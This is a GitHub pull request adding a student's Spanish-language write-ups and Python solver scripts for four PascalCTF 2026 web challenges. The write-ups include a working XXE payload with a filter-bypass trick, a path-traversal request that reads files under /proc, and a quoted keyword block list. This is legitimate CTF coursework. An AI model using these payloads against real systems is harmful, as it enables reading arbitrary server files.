Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 41 additions & 0 deletions 2026/J:g-/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
# Desarrollo Seguro de Aplicaciones

En esta carpeta se encuentran resueltos 4 retos correspondientes al evento **PascalCTF 2026** realizado el sábado 31/01/2026.

## Alumno

- Nombre: Jeremías Salsamendi
- Legajo: 17057/7
- Perfil de ctf: [J-](./imgs/perfil.png)

## Equipo

- Nombre: J:g-
- Perfil del equipo en ctf: [J:g-](./imgs/equipo.png)

## Evento

- Nombre del evento: PascalCTF 2026
- Página del evento: https://ctftime.org/event/2767
- [Captura de pantalla](./imgs/pascalctf.png)
- Fecha de inicio: 31/01/2026
- Fecha de cierre: 01/01/2026

## Retos

|**Reto**| **Categoría** |
|--|--|
|ZazaStore | Web|
|Travel Playlist | Web|
|PDFile | Web|
|JSHit | Web|

- [Scoreboard](./imgs/scoreboard.png)

## Aclaraciones

Los retos estan resueltos dentro del directorio `ctfs`. Cada reto tiene su propio subdirectorio. Los retos se componen de un `writeup.md` que explica cómo fue resuelto, un `script.py` que resuelve el reto automáticamente y un directorio `imgs` con capturas de pantalla del reto. Además hay un archivo `requirements.txt` para instalar las dependencias de python que sirven para todos los retos.

La versión de python utilizada es la 3.11.

Para algunos retos proveían los archivos necesarios para hacer funcionar el reto localmente, en esos casos se añadió un archivo comprimido con el nombre `challenge.zip` al directorio del reto.
Binary file added 2026/J:g-/Trabajo Final DSA 2023.pdf
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2026/J:g-/ctfs/jshit/imgs/resumen.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
14 changes: 14 additions & 0 deletions 2026/J:g-/ctfs/jshit/res/deofuscated.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
() => {
const pageElement = document.getElementById('page');
const flag = document.cookie.split('; ').find(row => row.startsWith('flag='));
const pageContent = `<div class="container">
<h1 class="mt-5">Welcome to JSHit</h1>
<p class="lead">
${flag && flag.split('=')[1] === 'pascalCTF{1_h4t3_j4v4scr1pt_s0o0o0o0_much}'
? 'You got the flag gg'
: 'You got no flag yet lol'}
</p></div>`;
pageElement.innerHTML = pageContent;
console.log("where's the page gone?");
document.getElementById('code').remove();
}
39 changes: 39 additions & 0 deletions 2026/J:g-/ctfs/jshit/script.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#!/usr/bin/env python3
"""JSHit CTF solver - Extrae y desofusca JSFuck para obtener la flag"""

import re
import subprocess
import tempfile
import os

# Extraer código JSFuck del HTML local
with open('src/JSHit.html', 'r') as f:
html = f.read()

jsfuck = re.search(r'<script[^>]*id="code"[^>]*>(.*?)</script>', html, re.DOTALL).group(1).strip()

# Ejecutar en Node.js con DOM mock
node_code = f'''
const document = {{
getElementById: () => ({{ innerHTML: '', remove: () => {{}} }}),
cookie: ''
}};

({jsfuck})();
'''

with tempfile.NamedTemporaryFile(mode='w', suffix='.js', delete=False) as f:
f.write(node_code)
temp = f.name

try:
output = subprocess.run(['node', temp], capture_output=True, text=True, timeout=5).stdout

# Extraer flag del código desofuscado (también revisar stderr)
full_output = subprocess.run(['node', temp], capture_output=True, text=True, timeout=5)
combined = full_output.stdout + full_output.stderr + jsfuck

flag = re.search(r"pascalCTF\{[^}]+\}", combined)
print(f"Flag: {flag.group(0)}" if flag else "Flag not found in output")
finally:
os.unlink(temp)
15 changes: 15 additions & 0 deletions 2026/J:g-/ctfs/jshit/src/JSHit.html

Large diffs are not rendered by default.

47 changes: 47 additions & 0 deletions 2026/J:g-/ctfs/jshit/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
# CTF JSHit — Wrap-up

**Clasificación**: CWE-506 — Embedded Malicious Code

## Resumen

Se identificó y explotó JavaScript ofuscado (JSFuck) en una página web. El script ofuscado contenía la flag hardcodeada.

## Flag

[Código para conseguir la flag automáticamente](./script.py)
```
pascalCTF{1_h4t3_j4v4scr1pt_s0o0o0o0_much}
```

## Proceso

### 1. Inspección inicial desde el navegador

Se accedió al sitio `https://jshit.ctf.pascalctf.it` y al usar el inspector de elementos no se observó código JavaScript.

Esto se puede comprobar si se abre [el sitio localmente](./src/JSHit.html)

### 2. Ejecución de código sin script visible

Se accedió a la consola y se observó el mensaje "where's the page gone?". Esto evidencia que hubo una ejecución de código en algún momento.

### 3. Observación de la response sin "procesar" por el navegador

Se hizo la petición mediante `curl` para analizar el contenido que llega desde el servidor sin que haya intervención del navegador:
```bash
curl https://jshit.ctf.pascalctf.it > src/index.html
```
Se observó que el html tiene un elemento `<script id="code">` que contiene caracteres especiales ofuscados mediante JSFuck.

### 4. Desofuscación

Se desofuscó el código JSFuck. Se trata de una función que el navegador ejecuta al acceder al sitio. La función escribe el mensaje en consola anteriormente mencionado y elimina el propio bloque de script.

[Código desofuscado](./res/deofuscated.js)

### 5. Extracción de la flag

Dentro del código desofuscado se encontraba la flag en texto plano:
```
pascalCTF{1_h4t3_j4v4scr1pt_s0o0o0o0_much}
```
Binary file added 2026/J:g-/ctfs/pdfile/challenge.zip
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2026/J:g-/ctfs/pdfile/imgs/resumen.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2026/J:g-/ctfs/pdfile/output.pdf
Binary file not shown.
90 changes: 90 additions & 0 deletions 2026/J:g-/ctfs/pdfile/script.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
#!/usr/bin/env python3
import warnings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning)

import requests
import re
from io import BytesIO
import PyPDF2

# Payload XXE
PAYLOAD = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book [
<!ENTITY xxe SYSTEM "/app/fla%67.txt">
]>
<book>
<title>Testing</title>
<author>Test</author>
<year>2026</year>
<isbn>123</isbn>
<chapters>
<chapter number="1">
<title>Data</title>
<content>&xxe;</content>
</chapter>
</chapters>
</book>"""

def main():
url = "https://pdfile.ctf.pascalctf.it/upload"

files = {'file': ('exploit.pasx', PAYLOAD.encode(), 'application/xml')}

try:
r = requests.post(url, files=files, verify=False, timeout=10)
r.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"[-] Upload failed: {e}")
return

# Parse JSON response para obtener URL del PDF
try:
data = r.json()
pdf_url = data.get('pdf_url')
if not pdf_url:
print("[-] No PDF URL in response")
print(f"[*] Response: {r.text[:500]}")
return
except:
print(f"[-] Failed to parse JSON: {r.text[:500]}")
return

# Construir URL completa si es relativa
if not pdf_url.startswith('http'):
pdf_url = f"https://pdfile.ctf.pascalctf.it{pdf_url}"


try:
pdf_r = requests.get(pdf_url, verify=False, timeout=10)
pdf_r.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"[-] PDF download failed: {e}")
return

# Guardar PDF
with open('output.pdf', 'wb') as f:
f.write(pdf_r.content)

# Intentar extraer texto del PDF
try:
pdf_reader = PyPDF2.PdfReader(BytesIO(pdf_r.content))
text = ""
for page in pdf_reader.pages:
text += page.extract_text()

# Buscar la flag
flag_match = re.search(r'pascalCTF\{[^}]+\}', text)
if flag_match:
print(f"Flag: {flag_match.group()}")
else:
print("\n[*] Full text from PDF:")
print(text[:500])
print("\n[*] (Check output.pdf for complete content)")
except ImportError:
print("[!] PyPDF2 not installed. Try: pip install PyPDF2")
print("[*] Check output.pdf manually or use: pdftotext output.pdf -")

if __name__ == "__main__":
main()
57 changes: 57 additions & 0 deletions 2026/J:g-/ctfs/pdfile/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
# pdfile CTF — Wrap-up

**Clasificación**: CWE-611 — Improper Restriction of XML External Entity Reference (XXE)

## Resumen

Se identificó vulnerabilidad de XXE en un sistema que provee un servicio de conversión XML-to-PDF. La aplicación parsea `.pasx` con `lxml` habilitando resolución de entidades externas, permitiendo leer archivos arbitrarios del servidor. Un filtro de palabras clave bloquea `file` y `flag`, pero es bypasseable eliminando el protocolo e inyectando URL-encoding.

## Flag

[Código para conseguir la flag automáticamente](./script.py)
```
pascalCTF{y0u_l1k3d_xxe_1nject10ns?}
```

## Proceso

### 1. Análisis

La aplicación parsea archivos `.pasx` (XML) con `lxml` y `resolve_entities=True`, renderizando contenido en PDF. Filtro bloquea: `flag`, `file`, `etc`, `bash`, `proc`.

### 2. Vector de ataque

Código vulnerable:
```python
parser = etree.XMLParser(resolve_entities=True, no_network=False)
root = etree.fromstring(xml_content, parser=parser)

# Luego incorpora elementos en el PDF
<content>&xxe;</content>
```

### 3. Explotación

Se intentó XXE básico con `file:///app/fla%67.txt`, pero el filtro rechaza la palabra `file` en el XML. El bypass: usar ruta absoluta sin protocolo (`/app/fla%67.txt`). lxml interpreta automáticamente como ruta local y el filtro solo ve el string, no detecta `file://`.

Payload:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book [
<!ENTITY xxe SYSTEM "/app/fla%67.txt">
]>
<book>
<title>Testing</title>
<author>Test</author>
<year>2026</year>
<isbn>123</isbn>
<chapters>
<chapter number="1">
<title>Data</title>
<content>&xxe;</content>
</chapter>
</chapters>
</book>
```

La flag se renderiza en el PDF en la sección `<content>`.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2026/J:g-/ctfs/travel/imgs/resumen.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
13 changes: 13 additions & 0 deletions 2026/J:g-/ctfs/travel/script.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
#!/usr/bin/env python3
import requests

URL = "https://travel.ctf.pascalctf.it/api/get_json"
payload = {"index": "../../../proc/self/cwd/flag.txt"}

r = requests.post(URL, json=payload)
flag = r.text.strip()

if flag.startswith("pascalCTF"):
print(f"Flag: {flag}")
else:
print(f"Response: {flag}")
35 changes: 35 additions & 0 deletions 2026/J:g-/ctfs/travel/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# Travel CTF — Wrap-up

**Clasificación:** CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

## Resumen

Se encontró vulnerabilidad de Local File Inclusion (LFI) en `/api/get_json` de una app que permite acceder a canciones mediante un índice. El parámetro `index` se concatena directamente sin sanitización en la construcción del path, permitiendo path traversal para leer archivos arbitrarios.

## Flag

[Código para conseguir la flag automáticamente](./script.py)
```
pascalCTF{4ll_1_d0_1s_tr4v3ll1nG_4r0und_th3_w0rld}
```

## Proceso

### 1. Análisis

La aplicación permite seleccionar canciones (1-7) mediante POST a `/api/get_json` con el parámetro `index`.

### 2. Vector de ataque
Código vulnerable (del lado del servidor):
```python
@app.route("/api/get_json", methods=["POST"])
def get_json():
index = request.json.get("index")
path = f"static/{index}" # ← Sin validación
with open(path, "r") as file:
return file.read(), 200
```

### 3. Explotación

Se usó path traversal mediante `../../../proc/self/cwd/flag.txt`. El backend construye `static/{index}` permitiendo subir 3 niveles desde `/home/challenge/static/` hasta `/home/challenge/`, accediendo a la flag ubicada en `/proc/self/cwd` (que apunta al directorio de trabajo).
Binary file added 2026/J:g-/ctfs/zazastore/challenge.zip
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2026/J:g-/ctfs/zazastore/imgs/resumen.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
29 changes: 29 additions & 0 deletions 2026/J:g-/ctfs/zazastore/script.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
#!/usr/bin/env python3
import requests, urllib3
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "https://zazastore.ctf.pascalctf.it"
s = requests.Session()
s.verify = False

# Login para obtener sesión
s.post(f"{URL}/login", json={"username": "user", "password": "pass"})

# Exploit: NaN bypass
s.post(f"{URL}/add-cart", json={"product": "RealZa", "quantity": 1})
s.post(f"{URL}/add-cart", json={"product": "InvalidProduct", "quantity": 1})
s.post(f"{URL}/checkout", json={})

# Extraer flag del inventario
r = s.get(f"{URL}/inventory")
soup = BeautifulSoup(r.text, 'html.parser')

for item in soup.find_all('div', class_='inventory-item'):
h2 = item.find('h2')
content = item.find('div', class_='content-value')
if h2 and content and 'RealZa' in h2.text:
flag = content.text.strip()
print(f"Flag: {flag}")
break
Loading